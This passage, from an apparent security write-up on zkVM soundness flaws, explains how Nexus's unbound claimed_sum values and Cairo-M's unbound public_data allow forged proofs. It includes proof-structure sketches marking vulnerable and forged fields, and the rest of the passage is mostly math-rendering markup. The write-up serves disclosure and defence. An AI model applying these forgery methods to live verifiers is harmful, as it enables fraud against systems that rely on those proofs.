hildren":127358},{"className":127357},[15284,15332],[127359,127364,127369],{"type":23,"tag":75,"props":127360,"children":127362},{"className":127361,"style":123939},[15284,32803,15332],[127363],{"type":29,"value":123942},{"type":23,"tag":75,"props":127365,"children":127367},{"className":127366},[15369,15332],[127368],{"type":29,"value":15343},{"type":23,"tag":75,"props":127370,"children":127372},{"className":127371},[15284,15332],[127373,127383],{"type":23,"tag":75,"props":127374,"children":127376},{"className":127375},[15284,29,15332],[127377],{"type":23,"tag":75,"props":127378,"children":127380},{"className":127379},[15284,15332],[127381],{"type":29,"value":127382},"produced",{"type":23,"tag":75,"props":127384,"children":127386},{"className":127385},[15299],[127387],{"type":23,"tag":75,"props":127388,"children":127390},{"className":127389},[15304,32857],[127391,127422],{"type":23,"tag":75,"props":127392,"children":127394},{"className":127393},[15309],[127395,127417],{"type":23,"tag":75,"props":127396,"children":127399},{"className":127397,"style":127398},[15314],"height:0.2052em;",[127400],{"type":23,"tag":75,"props":127401,"children":127403},{"style":127402},"top:-2.2341em;margin-right:0.0714em;",[127404,127408],{"type":23,"tag":75,"props":127405,"children":127407},{"className":127406,"style":119242},[15323],[],{"type":23,"tag":75,"props":127409,"children":127411},{"className":127410},[15329,119247,119248,15332],[127412],{"type":23,"tag":75,"props":127413,"children":127415},{"className":127414,"style":124605},[15284,32803,15332],[127416],{"type":29,"value":19913},{"type":23,"tag":75,"props":127418,"children":127420},{"className":127419},[32960],[127421],{"type":29,"value":32963},{"type":23,"tag":75,"props":127423,"children":127425},{"className":127424},[15309],[127426],{"type":23,"tag":75,"props":127427,"children":127430},{"className":127428,"style":127429},[15314],"height:0.4048em;",[127431],{"type":23,"tag":75,"props":127432,"children":127433},{},[],{"type":23,"tag":75,"props":127435,"children":127436},{"style":123955},[127437,127441],{"type":23,"tag":75,"props":127438,"children":127440},{"className":127439,"style":122553},[15323],[],{"type":23,"tag":75,"props":127442,"children":127444},{"className":127443,"style":123965},[123964],[],{"type":23,"tag":75,"props":127446,"children":127447},{"style":123969},[127448,127452],{"type":23,"tag":75,"props":127449,"children":127451},{"className":127450,"style":122553},[15323],[],{"type":23,"tag":75,"props":127453,"children":127455},{"className":127454},[15329,15330,15331,15332],[127456],{"type":23,"tag":75,"props":127457,"children":127459},{"className":127458},[15284,15332],[127460],{"type":23,"tag":75,"props":127461,"children":127463},{"className":127462},[15284,15332],[127464],{"type":29,"value":7867},{"type":23,"tag":75,"props":127466,"children":127468},{"className":127467},[32960],[127469],{"type":29,"value":32963},{"type":23,"tag":75,"props":127471,"children":127473},{"className":127472},[15309],[127474],{"type":23,"tag":75,"props":127475,"children":127478},{"className":127476,"style":127477},[15314],"height:0.6283em;",[127479],{"type":23,"tag":75,"props":127480,"children":127481},{},[],{"type":23,"tag":75,"props":127483,"children":127485},{"className":127484},[32954,123900],[],{"type":23,"tag":75,"props":127487,"children":127489},{"className":127488,"style":15364},[15363],[],{"type":23,"tag":75,"props":127491,"children":127493},{"className":127492},[15369],[127494],{"type":29,"value":15343},{"type":23,"tag":75,"props":127496,"children":127498},{"className":127497,"style":15364},[15363],[],{"type":23,"tag":75,"props":127500,"children":127502},{"className":127501},[15273],[127503,127507,127564,127568],{"type":23,"tag":75,"props":127504,"children":127506},{"className":127505,"style":124814},[15278],[],{"type":23,"tag":75,"props":127508,"children":127510},{"className":127509},[32839],[127511,127516],{"type":23,"tag":75,"props":127512,"children":127514},{"className":127513,"style":32846},[32839,32844,32845],[127515],{"type":29,"value":119177},{"type":23,"tag":75,"props":127517,"children":127519},{"className":127518},[15299],[127520],{"type":23,"tag":75,"props":127521,"children":127523},{"className":127522},[15304,32857],[127524,127553],{"type":23,"tag":75,"props":127525,"children":127527},{"className":127526},[15309],[127528,127548],{"type":23,"tag":75,"props":127529,"children":127531},{"className":127530,"style":124054},[15314],[127532],{"type":23,"tag":75,"props":127533,"children":127534},{"style":32870},[127535,127539],{"type":23,"tag":75,"props":127536,"children":127538},{"className":127537,"style":15324},[15323],[],{"type":23,"tag":75,"props":127540,"children":127542},{"className":127541},[15329,15330,15331,15332],[127543],{"type":23,"tag":75,"props":127544,"children":127546},{"className":127545,"style":104811},[15284,32803,15332],[127547],{"type":29,"value":13080},{"type":23,"tag":75,"props":127549,"children":127551},{"className":127550},[32960],[127552],{"type":29,"value":32963},{"type":23,"tag":75,"props":127554,"children":127556},{"className":127555},[15309],[127557],{"type":23,"tag":75,"props":127558,"children":127560},{"className":127559,"style":124869},[15314],[127561],{"type":23,"tag":75,"props":127562,"children":127563},{},[],{"type":23,"tag":75,"props":127565,"children":127567},{"className":127566,"style":15402},[15363],[],{"type":23,"tag":75,"props":127569,"children":127571},{"className":127570},[15284],[127572,127576,127726],{"type":23,"tag":75,"props":127573,"children":127575},{"className":127574},[32932,123900],[],{"type":23,"tag":75,"props":127577,"children":127579},{"className":127578},[123905],[127580],{"type":23,"tag":75,"props":127581,"children":127583},{"className":127582},[15304,32857],[127584,127715],{"type":23,"tag":75,"props":127585,"children":127587},{"className":127586},[15309],[127588,127710],{"type":23,"tag":75,"props":127589,"children":127591},{"className":127590,"style":123918},[15314],[127592,127679,127690],{"type":23,"tag":75,"props":127593,"children":127594},{"style":123922},[127595,127599],{"type":23,"tag":75,"props":127596,"children":127598},{"className":127597,"style":122553},[15323],[],{"type":23,"tag":75,"props":127600,"children":127602},{"className":127601},[15329,15330,15331,15332],[127603],{"type":23,"tag":75,"props":127604,"children":127606},{"className":127605},[15284,15332],[127607,127612,127617],{"type":23,"tag":75,"props":127608,"children":127610},{"className":127609,"style":123939},[15284,32803,15332],[127611],{"type":29,"value":123942},{"type":23,"tag":75,"props":127613,"children":127615},{"className":127614},[15369,15332],[127616],{"type":29,"value":15343},{"type":23,"tag":75,"props":127618,"children":127620},{"className":127619},[15284,15332],[127621,127631],{"type":23,"tag":75,"props":127622,"children":127624},{"className":127623},[15284,29,15332],[127625],{"type":23,"tag":75,"props":127626,"children":127628},{"className":127627},[15284,15332],[127629],{"type":29,"value":127630},"consumed",{"type":23,"tag":75,"props":127632,"children":127634},{"className":127633},[15299],[127635],{"type":23,"tag":75,"props":127636,"children":127638},{"className":127637},[15304,32857],[127639,127668],{"type":23,"tag":75,"props":127640,"children":127642},{"className":127641},[15309],[127643,127663],{"type":23,"tag":75,"props":127644,"children":127646},{"className":127645,"style":122714},[15314],[127647],{"type":23,"tag":75,"props":127648,"children":127649},{"style":124959},[127650,127654],{"type":23,"tag":75,"props":127651,"children":127653},{"className":127652,"style":119242},[15323],[],{"type":23,"tag":75,"props":127655,"children":127657},{"className":127656},[15329,119247,119248,15332],[127658],{"type":23,"tag":75,"props":127659,"children":127661},{"className":127660,"style":104811},[15284,32803,15332],[127662],{"type":29,"value":13080},{"type":23,"tag":75,"props":127664,"children":127666},{"className":127665},[32960],[127667],{"type":29,"value":32963},{"type":23,"tag":75,"props":127669,"children":127671},{"className":127670},[15309],[127672],{"type":23,"tag":75,"props":127673,"children":127675},{"className":127674,"style":124986},[15314],[127676],{"type":23,"tag":75,"props":127677,"children":127678},{},[],{"type":23,"tag":75,"props":127680,"children":127681},{"style":123955},[127682,127686],{"type":23,"tag":75,"props":127683,"children":127685},{"className":127684,"style":122553},[15323],[],{"type":23,"tag":75,"props":127687,"children":127689},{"className":127688,"style":123965},[123964],[],{"type":23,"tag":75,"props":127691,"children":127692},{"style":123969},[127693,127697],{"type":23,"tag":75,"props":127694,"children":127696},{"className":127695,"style":122553},[15323],[],{"type":23,"tag":75,"props":127698,"children":127700},{"className":127699},[15329,15330,15331,15332],[127701],{"type":23,"tag":75,"props":127702,"children":127704},{"className":127703},[15284,15332],[127705],{"type":23,"tag":75,"props":127706,"children":127708},{"className":127707},[15284,15332],[127709],{"type":29,"value":7867},{"type":23,"tag":75,"props":127711,"children":127713},{"className":127712},[32960],[127714],{"type":29,"value":32963},{"type":23,"tag":75,"props":127716,"children":127718},{"className":127717},[15309],[127719],{"type":23,"tag":75,"props":127720,"children":127722},{"className":127721,"style":125034},[15314],[127723],{"type":23,"tag":75,"props":127724,"children":127725},{},[],{"type":23,"tag":75,"props":127727,"children":127729},{"className":127728},[32954,123900],[],{"type":23,"tag":32,"props":127731,"children":127732},{},[127733,127735,127740],{"type":29,"value":127734},"All ",{"type":23,"tag":71,"props":127736,"children":127738},{"className":127737},[],[127739],{"type":29,"value":125246},{"type":29,"value":127741}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":32,"props":127743,"children":127744},{},[127745,127747,127752],{"type":29,"value":127746},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":16596,"props":127748,"children":127749},{},[127750],{"type":29,"value":127751},"OODS (Out-of-Domain Sampling)",{"type":29,"value":127753}," test.",{"type":23,"tag":32,"props":127755,"children":127756},{},[127757],{"type":23,"tag":16596,"props":127758,"children":127759},{},[127760],{"type":29,"value":125798},{"type":23,"tag":64,"props":127762,"children":127764},{"code":127763},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[127765],{"type":23,"tag":71,"props":127766,"children":127767},{"__ignoreMap":7},[127768],{"type":29,"value":127763},{"type":23,"tag":32,"props":127770,"children":127771},{},[127772,127774,127779],{"type":29,"value":127773},"The",{"type":23,"tag":71,"props":127775,"children":127777},{"className":127776},[],[127778],{"type":29,"value":125246},{"type":29,"value":127780}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":32,"props":127782,"children":127783},{},[127784],{"type":23,"tag":15189,"props":127785,"children":127788},{"alt":127786,"src":127787},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":32,"props":127790,"children":127791},{},[127792,127794,127803],{"type":29,"value":127793},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":16596,"props":127795,"children":127796},{},[127797,127798],{"type":29,"value":122253},{"type":23,"tag":71,"props":127799,"children":127801},{"className":127800},[],[127802],{"type":29,"value":125246},{"type":29,"value":1018},{"type":23,"tag":32,"props":127805,"children":127806},{},[127807],{"type":29,"value":127808},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":32,"props":127810,"children":127811},{},[127812],{"type":23,"tag":71,"props":127813,"children":127815},{"className":127814},[15256,15257],[127816],{"type":23,"tag":75,"props":127817,"children":127819},{"className":127818},[15262],[127820],{"type":23,"tag":75,"props":127821,"children":127823},{"className":127822,"ariaHidden":15268},[15267],[127824,127865,128004],{"type":23,"tag":75,"props":127825,"children":127827},{"className":127826},[15273],[127828,127832,127837,127842,127847,127852,127856,127861],{"type":23,"tag":75,"props":127829,"children":127831},{"className":127830,"style":15384},[15278],[],{"type":23,"tag":75,"props":127833,"children":127835},{"className":127834,"style":33334},[15284,32803],[127836],{"type":29,"value":126611},{"type":23,"tag":75,"props":127838,"children":127840},{"className":127839},[32932],[127841],{"type":29,"value":643},{"type":23,"tag":75,"props":127843,"children":127845},{"className":127844},[15284,32803],[127846],{"type":29,"value":30499},{"type":23,"tag":75,"props":127848,"children":127850},{"className":127849},[32954],[127851],{"type":29,"value":1347},{"type":23,"tag":75,"props":127853,"children":127855},{"className":127854,"style":15461},[15363],[],{"type":23,"tag":75,"props":127857,"children":127859},{"className":127858},[15466],[127860],{"type":29,"value":212},{"type":23,"tag":75,"props":127862,"children":127864},{"className":127863,"style":15461},[15363],[],{"type":23,"tag":75,"props":127866,"children":127868},{"className":127867},[15273],[127869,127873,127930,127934,127991,127995,128000],{"type":23,"tag":75,"props":127870,"children":127872},{"className":127871,"style":126015},[15278],[],{"type":23,"tag":75,"props":127874,"children":127876},{"className":127875},[32839],[127877,127882],{"type":23,"tag":75,"props":127878,"children":127880},{"className":127879,"style":32846},[32839,32844,32845],[127881],{"type":29,"value":119177},{"type":23,"tag":75,"props":127883,"children":127885},{"className":127884},[15299],[127886],{"type":23,"tag":75,"props":127887,"children":127889},{"className":127888},[15304,32857],[127890,127919],{"type":23,"tag":75,"props":127891,"children":127893},{"className":127892},[15309],[127894,127914],{"type":23,"tag":75,"props":127895,"children":127897},{"className":127896,"style":124589},[15314],[127898],{"type":23,"tag":75,"props":127899,"children":127900},{"style":32870},[127901,127905],{"type":23,"tag":75,"props":127902,"children":127904},{"className":127903,"style":15324},[15323],[],{"type":23,"tag":75,"props":127906,"children":127908},{"className":127907},[15329,15330,15331,15332],[127909],{"type":23,"tag":75,"props":127910,"children":127912},{"className":127911},[15284,32803,15332],[127913],{"type":29,"value":12935},{"type":23,"tag":75,"props":127915,"children":127917},{"className":127916},[32960],[127918],{"type":29,"value":32963},{"type":23,"tag":75,"props":127920,"children":127922},{"className":127921},[15309],[127923],{"type":23,"tag":75,"props":127924,"children":127926},{"className":127925,"style":124869},[15314],[127927],{"type":23,"tag":75,"props":127928,"children":127929},{},[],{"type":23,"tag":75,"props":127931,"children":127933},{"className":127932,"style":15402},[15363],[],{"type":23,"tag":75,"props":127935,"children":127937},{"className":127936},[15284],[127938,127943],{"type":23,"tag":75,"props":127939,"children":127941},{"className":127940,"style":125470},[15284,32803],[127942],{"type":29,"value":125473},{"type":23,"tag":75,"props":127944,"children":127946},{"className":127945},[15299],[127947],{"type":23,"tag":75,"props":127948,"children":127950},{"className":127949},[15304,32857],[127951,127980],{"type":23,"tag":75,"props":127952,"children":127954},{"className":127953},[15309],[127955,127975],{"type":23,"tag":75,"props":127956,"children":127958},{"className":127957,"style":103911},[15314],[127959],{"type":23,"tag":75,"props":127960,"children":127961},{"style":126105},[127962,127966],{"type":23,"tag":75,"props":127963,"children":127965},{"className":127964,"style":15324},[15323],[],{"type":23,"tag":75,"props":127967,"children":127969},{"className":127968},[15329,15330,15331,15332],[127970],{"type":23,"tag":75,"props":127971,"children":127973},{"className":127972},[15284,32803,15332],[127974],{"type":29,"value":12935},{"type":23,"tag":75,"props":127976,"children":127978},{"className":127977},[32960],[127979],{"type":29,"value":32963},{"type":23,"tag":75,"props":127981,"children":127983},{"className":127982},[15309],[127984],{"type":23,"tag":75,"props":127985,"children":127987},{"className":127986,"style":103465},[15314],[127988],{"type":23,"tag":75,"props":127989,"children":127990},{},[],{"type":23,"tag":75,"props":127992,"children":127994},{"className":127993,"style":15364},[15363],[],{"type":23,"tag":75,"props":127996,"children":127998},{"className":127997},[15369],[127999],{"type":29,"value":121644},{"type":23,"tag":75,"props":128001,"children":128003},{"className":128002,"style":15364},[15363],[],{"type":23,"tag":75,"props":128005,"children":128007},{"className":128006},[15273],[128008,128012,128074,128079,128084],{"type":23,"tag":75,"props":128009,"children":128011},{"className":128010,"style":15384},[15278],[],{"type":23,"tag":75,"props":128013,"children":128015},{"className":128014},[15284],[128016,128026],{"type":23,"tag":75,"props":128017,"children":128019},{"className":128018},[15284,29],[128020],{"type":23,"tag":75,"props":128021,"children":128023},{"className":128022},[15284],[128024],{"type":29,"value":128025},"constraint",{"type":23,"tag":75,"props":128027,"children":128029},{"className":128028},[15299],[128030],{"type":23,"tag":75,"props":128031,"children":128033},{"className":128032},[15304,32857],[128034,128063],{"type":23,"tag":75,"props":128035,"children":128037},{"className":128036},[15309],[128038,128058],{"type":23,"tag":75,"props":128039,"children":128041},{"className":128040,"style":103911},[15314],[128042],{"type":23,"tag":75,"props":128043,"children":128044},{"style":124512},[128045,128049],{"type":23,"tag":75,"props":128046,"children":128048},{"className":128047,"style":15324},[15323],[],{"type":23,"tag":75,"props":128050,"children":128052},{"className":128051},[15329,15330,15331,15332],[128053],{"type":23,"tag":75,"props":128054,"children":128056},{"className":128055},[15284,32803,15332],[128057],{"type":29,"value":12935},{"type":23,"tag":75,"props":128059,"children":128061},{"className":128060},[32960],[128062],{"type":29,"value":32963},{"type":23,"tag":75,"props":128064,"children":128066},{"className":128065},[15309],[128067],{"type":23,"tag":75,"props":128068,"children":128070},{"className":128069,"style":103465},[15314],[128071],{"type":23,"tag":75,"props":128072,"children":128073},{},[],{"type":23,"tag":75,"props":128075,"children":128077},{"className":128076},[32932],[128078],{"type":29,"value":643},{"type":23,"tag":75,"props":128080,"children":128082},{"className":128081},[15284,32803],[128083],{"type":29,"value":30499},{"type":23,"tag":75,"props":128085,"children":128087},{"className":128086},[32954],[128088],{"type":29,"value":1347},{"type":23,"tag":32,"props":128090,"children":128091},{},[128092,128094,128099,128101,128106],{"type":29,"value":128093},"Since each constraint is linear in its ",{"type":23,"tag":71,"props":128095,"children":128097},{"className":128096},[],[128098],{"type":29,"value":125246},{"type":29,"value":128100},", the overall composition polynomial is linear in all ",{"type":23,"tag":71,"props":128102,"children":128104},{"className":128103},[],[128105],{"type":29,"value":125246},{"type":29,"value":128107}," values.",{"type":23,"tag":32,"props":128109,"children":128110},{},[128111,128113],{"type":29,"value":128112},"The verifier checks ",{"type":23,"tag":71,"props":128114,"children":128116},{"className":128115},[15256,15257],[128117],{"type":23,"tag":75,"props":128118,"children":128120},{"className":128119},[15262],[128121],{"type":23,"tag":75,"props":128122,"children":128124},{"className":128123,"ariaHidden":15268},[15267],[128125,128186],{"type":23,"tag":75,"props":128126,"children":128128},{"className":128127},[15273],[128129,128133,128138,128143,128153,128158,128168,128173,128177,128182],{"type":23,"tag":75,"props":128130,"children":128132},{"className":128131,"style":103324},[15278],[],{"type":23,"tag":75,"props":128134,"children":128136},{"className":128135,"style":33334},[15284,32803],[128137],{"type":29,"value":126611},{"type":23,"tag":75,"props":128139,"children":128141},{"className":128140},[32932],[128142],{"type":29,"value":643},{"type":23,"tag":75,"props":128144,"children":128146},{"className":128145},[15284,29],[128147],{"type":23,"tag":75,"props":128148,"children":128150},{"className":128149},[15284],[128151],{"type":29,"value":128152},"oods",{"type":23,"tag":75,"props":128154,"children":128156},{"className":128155,"style":103382},[15284],[128157],{"type":29,"value":14370},{"type":23,"tag":75,"props":128159,"children":128161},{"className":128160},[15284,29],[128162],{"type":23,"tag":75,"props":128163,"children":128165},{"className":128164},[15284],[128166],{"type":29,"value":128167},"point",{"type":23,"tag":75,"props":128169,"children":128171},{"className":128170},[32954],[128172],{"type":29,"value":1347},{"type":23,"tag":75,"props":128174,"children":128176},{"className":128175,"style":15461},[15363],[],{"type":23,"tag":75,"props":128178,"children":128180},{"className":128179},[15466],[128181],{"type":29,"value":212},{"type":23,"tag":75,"props":128183,"children":128185},{"className":128184,"style":15461},[15363],[],{"type":23,"tag":75,"props":128187,"children":128189},{"className":128188},[15273],[128190,128194],{"type":23,"tag":75,"props":128191,"children":128193},{"className":128192,"style":125437},[15278],[],{"type":23,"tag":75,"props":128195,"children":128197},{"className":128196},[15284,29],[128198],{"type":23,"tag":75,"props":128199,"children":128201},{"className":128200},[15284],[128202],{"type":29,"value":126936},{"type":23,"tag":32,"props":128204,"children":128205},{},[128206,128208,128213,128215,128220],{"type":29,"value":128207},"With ",{"type":23,"tag":71,"props":128209,"children":128211},{"className":128210},[],[128212],{"type":29,"value":125246},{"type":29,"value":128214}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":71,"props":128216,"children":128218},{"className":128217},[],[128219],{"type":29,"value":125246},{"type":29,"value":128221}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":32,"props":128223,"children":128224},{},[128225,128229,128231],{"type":23,"tag":16596,"props":128226,"children":128227},{},[128228],{"type":29,"value":127092},{"type":29,"value":128230}," Fixed on October 24, 2025 via ",{"type":23,"tag":940,"props":128232,"children":128235},{"href":128233,"rel":128234},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[944],[128236],{"type":29,"value":128237},"PR #503",{"type":23,"tag":30016,"props":128239,"children":128240},{},[],{"type":23,"tag":923,"props":128242,"children":128244},{"id":128243},"cairo-m-kakarot-labs",[128245],{"type":29,"value":128246},"Cairo-M (Kakarot Labs)",{"type":23,"tag":32,"props":128248,"children":128249},{},[128250],{"type":29,"value":128251},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":32,"props":128253,"children":128254},{},[128255],{"type":29,"value":128256},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":32,"props":128258,"children":128259},{},[128260],{"type":23,"tag":16596,"props":128261,"children":128262},{},[128263],{"type":29,"value":125798},{"type":23,"tag":64,"props":128265,"children":128267},{"code":128266},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[128268],{"type":23,"tag":71,"props":128269,"children":128270},{"__ignoreMap":7},[128271],{"type":29,"value":128266},{"type":23,"tag":32,"props":128273,"children":128274},{},[128275],{"type":23,"tag":16596,"props":128276,"children":128277},{},[128278],{"type":29,"value":125814},{"type":23,"tag":32,"props":128280,"children":128281},{},[128282],{"type":23,"tag":15189,"props":128283,"children":128286},{"alt":128284,"src":128285},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":32,"props":128288,"children":128289},{},[128290,128292,128298],{"type":29,"value":128291},"Lookup challenges are derived without ",{"type":23,"tag":71,"props":128293,"children":128295},{"className":128294},[],[128296],{"type":29,"value":128297},"public_data",{"type":29,"value":128299}," being  mixed into the transcript.",{"type":23,"tag":32,"props":128301,"children":128302},{},[128303,128304,128309,128311,128316],{"type":29,"value":2846},{"type":23,"tag":71,"props":128305,"children":128307},{"className":128306},[],[128308],{"type":29,"value":128297},{"type":29,"value":128310}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":9690,"props":128312,"children":128313},{},[128314],{"type":29,"value":128315},"denominators",{"type":29,"value":128317}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":32,"props":128319,"children":128320},{},[128321],{"type":23,"tag":71,"props":128322,"children":128324},{"className":128323},[15256,15257],[128325],{"type":23,"tag":75,"props":128326,"children":128328},{"className":128327},[15262],[128329],{"type":23,"tag":75,"props":128330,"children":128332},{"className":128331,"ariaHidden":15268},[15267],[128333,128393,128439,128485],{"type":23,"tag":75,"props":128334,"children":128336},{"className":128335},[15273],[128337,128341,128347,128352,128361,128366,128375,128380,128384,128389],{"type":23,"tag":75,"props":128338,"children":128340},{"className":128339,"style":103324},[15278],[],{"type":23,"tag":75,"props":128342,"children":128344},{"className":128343},[15284,32803],[128345],{"type":29,"value":128346},"L",{"type":23,"tag":75,"props":128348,"children":128350},{"className":128349},[32932],[128351],{"type":29,"value":643},{"type":23,"tag":75,"props":128353,"children":128355},{"className":128354},[15284,29],[128356],{"type":23,"tag":75,"props":128357,"children":128359},{"className":128358},[15284],[128360],{"type":29,"value":172},{"type":23,"tag":75,"props":128362,"children":128364},{"className":128363,"style":103382},[15284],[128365],{"type":29,"value":14370},{"type":23,"tag":75,"props":128367,"children":128369},{"className":128368},[15284,29],[128370],{"type":23,"tag":75,"props":128371,"children":128373},{"className":128372},[15284],[128374],{"type":29,"value":14976},{"type":23,"tag":75,"props":128376,"children":128378},{"className":128377},[32954],[128379],{"type":29,"value":1347},{"type":23,"tag":75,"props":128381,"children":128383},{"className":128382,"style":15364},[15363],[],{"type":23,"tag":75,"props":128385,"children":128387},{"className":128386},[15369],[128388],{"type":29,"value":7862},{"type":23,"tag":75,"props":128390,"children":128392},{"className":128391,"style":15364},[15363],[],{"type":23,"tag":75,"props":128394,"children":128396},{"className":128395},[15273],[128397,128401,128411,128416,128426,128430,128435],{"type":23,"tag":75,"props":128398,"children":128400},{"className":128399,"style":103324},[15278],[],{"type":23,"tag":75,"props":128402,"children":128404},{"className":128403},[15284,29],[128405],{"type":23,"tag":75,"props":128406,"children":128408},{"className":128407},[15284],[128409],{"type":29,"value":128410},"(other transcript",{"type":23,"tag":75,"props":128412,"children":128414},{"className":128413,"style":103382},[15284],[128415],{"type":29,"value":14370},{"type":23,"tag":75,"props":128417,"children":128419},{"className":128418},[15284,29],[128420],{"type":23,"tag":75,"props":128421,"children":128423},{"className":128422},[15284],[128424],{"type":29,"value":128425},"bound terms)",{"type":23,"tag":75,"props":128427,"children":128429},{"className":128428,"style":15461},[15363],[],{"type":23,"tag":75,"props":128431,"children":128433},{"className":128432},[15466],[128434],{"type":29,"value":212},{"type":23,"tag":75,"props":128436,"children":128438},{"className":128437,"style":15461},[15363],[],{"type":23,"tag":75,"props":128440,"children":128442},{"className":128441},[15273],[128443,128448,128453,128458,128463,128467,128472,128476,128481],{"type":23,"tag":75,"props":128444,"children":128447},{"className":128445,"style":128446},[15278],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":75,"props":128449,"children":128451},{"className":128450},[15284],[128452],{"type":29,"value":648},{"type":23,"tag":75,"props":128454,"children":128456},{"className":128455},[15395],[128457],{"type":29,"value":15398},{"type":23,"tag":75,"props":128459,"children":128462},{"className":128460,"style":128461},[15363],"margin-right:2em;",[],{"type":23,"tag":75,"props":128464,"children":128466},{"className":128465,"style":15402},[15363],[],{"type":23,"tag":75,"props":128468,"children":128470},{"className":128469},[15284,32803],[128471],{"type":29,"value":128346},{"type":23,"tag":75,"props":128473,"children":128475},{"className":128474,"style":15461},[15363],[],{"type":23,"tag":75,"props":128477,"children":128479},{"className":128478},[15466],[128480],{"type":29,"value":212},{"type":23,"tag":75,"props":128482,"children":128484},{"className":128483,"style":15461},[15363],[],{"type":23,"tag":75,"props":128486,"children":128488},{"className":128487},[15273],[128489,128494,128551,128555,128773],{"type":23,"tag":75,"props":128490,"children":128493},{"className":128491,"style":128492},[15278],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":75,"props":128495,"children":128497},{"className":128496},[32839],[128498,128503],{"type":23,"tag":75,"props":128499,"children":128501},{"className":128500,"style":32846},[32839,32844,32845],[128502],{"type":29,"value":119177},{"type":23,"tag":75,"props":128504,"children":128506},{"className":128505},[15299],[128507],{"type":23,"tag":75,"props":128508,"children":128510},{"className":128509},[15304,32857],[128511,128540],{"type":23,"tag":75,"props":128512,"children":128514},{"className":128513},[15309],[128515,128535],{"type":23,"tag":75,"props":128516,"children":128518},{"className":128517,"style":124589},[15314],[128519],{"type":23,"tag":75,"props":128520,"children":128521},{"style":32870},[128522,128526],{"type":23,"tag":75,"props":128523,"children":128525},{"className":128524,"style":15324},[15323],[],{"type":23,"tag":75,"props":128527,"children":128529},{"className":128528},[15329,15330,15331,15332],[128530],{"type":23,"tag":75,"props":128531,"children":128533},{"className":128532},[15284,32803,15332],[128534],{"type":29,"value":12935},{"type":23,"tag":75,"props":128536,"children":128538},{"className":128537},[32960],[128539],{"type":29,"value":32963},{"type":23,"tag":75,"props":128541,"children":128543},{"className":128542},[15309],[128544],{"type":23,"tag":75,"props":128545,"children":128547},{"className":128546,"style":124869},[15314],[128548],{"type":23,"tag":75,"props":128549,"children":128550},{},[],{"type":23,"tag":75,"props":128552,"children":128554},{"className":128553,"style":15402},[15363],[],{"type":23,"tag":75,"props":128556,"children":128558},{"className":128557},[15284],[128559,128563,128769],{"type":23,"tag":75,"props":128560,"children":128562},{"className":128561},[32932,123900],[],{"type":23,"tag":75,"props":128564,"children":128566},{"className":128565},[123905],[128567],{"type":23,"tag":75,"props":128568,"children":128570},{"className":128569},[15304,32857],[128571,128757],{"type":23,"tag":75,"props":128572,"children":128574},{"className":128573},[15309],[128575,128752],{"type":23,"tag":75,"props":128576,"children":128578},{"className":128577,"style":123918},[15314],[128579,128721,128732],{"type":23,"tag":75,"props":128580,"children":128581},{"style":123922},[128582,128586],{"type":23,"tag":75,"props":128583,"children":128585},{"className":128584,"style":122553},[15323],[],{"type":23,"tag":75,"props":128587,"children":128589},{"className":128588},[15329,15330,15331,15332],[128590],{"type":23,"tag":75,"props":128591,"children":128593},{"className":128592},[15284,15332],[128594,128599,128604,128610,128615,128620,128677,128682,128691,128696,128705,128711,128716],{"type":23,"tag":75,"props":128595,"children":128597},{"className":128596,"style":123939},[15284,32803,15332],[128598],{"type":29,"value":123942},{"type":23,"tag":75,"props":128600,"children":128602},{"className":128601},[15369,15332],[128603],{"type":29,"value":7862},{"type":23,"tag":75,"props":128605,"children":128607},{"className":128606},[32932,15332],[128608],{"type":29,"value":128609},"⟨",{"type":23,"tag":75,"props":128611,"children":128613},{"className":128612,"style":125470},[15284,32803,15332],[128614],{"type":29,"value":125473},{"type":23,"tag":75,"props":128616,"children":128618},{"className":128617},[15395,15332],[128619],{"type":29,"value":15398},{"type":23,"tag":75,"props":128621,"children":128623},{"className":128622},[15284,15332],[128624,128629],{"type":23,"tag":75,"props":128625,"children":128627},{"className":128626},[15284,32803,15332],[128628],{"type":29,"value":32945},{"type":23,"tag":75,"props":128630,"children":128632},{"className":128631},[15299],[128633],{"type":23,"tag":75,"props":128634,"children":128636},{"className":128635},[15304,32857],[128637,128666],{"type":23,"tag":75,"props":128638,"children":128640},{"className":128639},[15309],[128641,128661],{"type":23,"tag":75,"props":128642,"children":128644},{"className":128643,"style":124706},[15314],[128645],{"type":23,"tag":75,"props":128646,"children":128647},{"style":119237},[128648,128652],{"type":23,"tag":75,"props":128649,"children":128651},{"className":128650,"style":119242},[15323],[],{"type":23,"tag":75,"props":128653,"children":128655},{"className":128654},[15329,119247,119248,15332],[128656],{"type":23,"tag":75,"props":128657,"children":128659},{"className":128658},[15284,32803,15332],[128660],{"type":29,"value":12935},{"type":23,"tag":7